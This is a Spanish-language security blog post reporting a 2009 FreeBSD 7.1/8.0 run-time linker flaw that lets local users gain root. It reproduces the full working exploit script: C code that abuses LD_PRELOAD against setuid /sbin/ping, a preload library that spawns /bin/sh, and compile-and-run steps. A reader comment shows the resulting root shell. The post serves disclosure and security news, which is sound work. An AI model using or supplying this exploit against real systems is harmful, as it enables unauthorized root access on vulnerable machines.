Fallo en FreeBSD permite obtener root

DragonJAR 336x280 Fallo en FreeBSD permite obtener root

Acaba de hacerse publica una vulnerabilidad descubierta por Nikolaos Rangos en los sistemas FreeBSD que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este sistema operativo.

HNx9D Fallo en FreeBSD permite obtener root

El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite variables de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte variables LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE

Para más detalles ver el exploit.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF

Para compilar y ejecutar

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Mas Información en el Full Disclosure publicado por Nikolaos Rangos



Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Fundador del DragonJAR Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo
  • wilmer

    que siera saber si alguien tiene un manual de intalacion de free sdb 8.0 no lo he podido instalar soy nuevo en esto

    llego ala parte de las particiones y me quedo ahi

    alguna solucion gracias

  • __nesthor

    que bien, si me es util ya que necesitaba hacer algo asi con mi servidor
    $ ./env
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    ALEX-ALEX
    # who
    xxxxxx ttyv0 Dec 2 14:10
    root ttyv1 Dec 2 14:14
    xxxxxx pts/0 Dec 2 14:11 (:0)
    xxxxxx pts/1 Dec 2 14:13 (:0.0)
    xxxxxx pts/2 Dec 2 16:07 (:0.0)
    #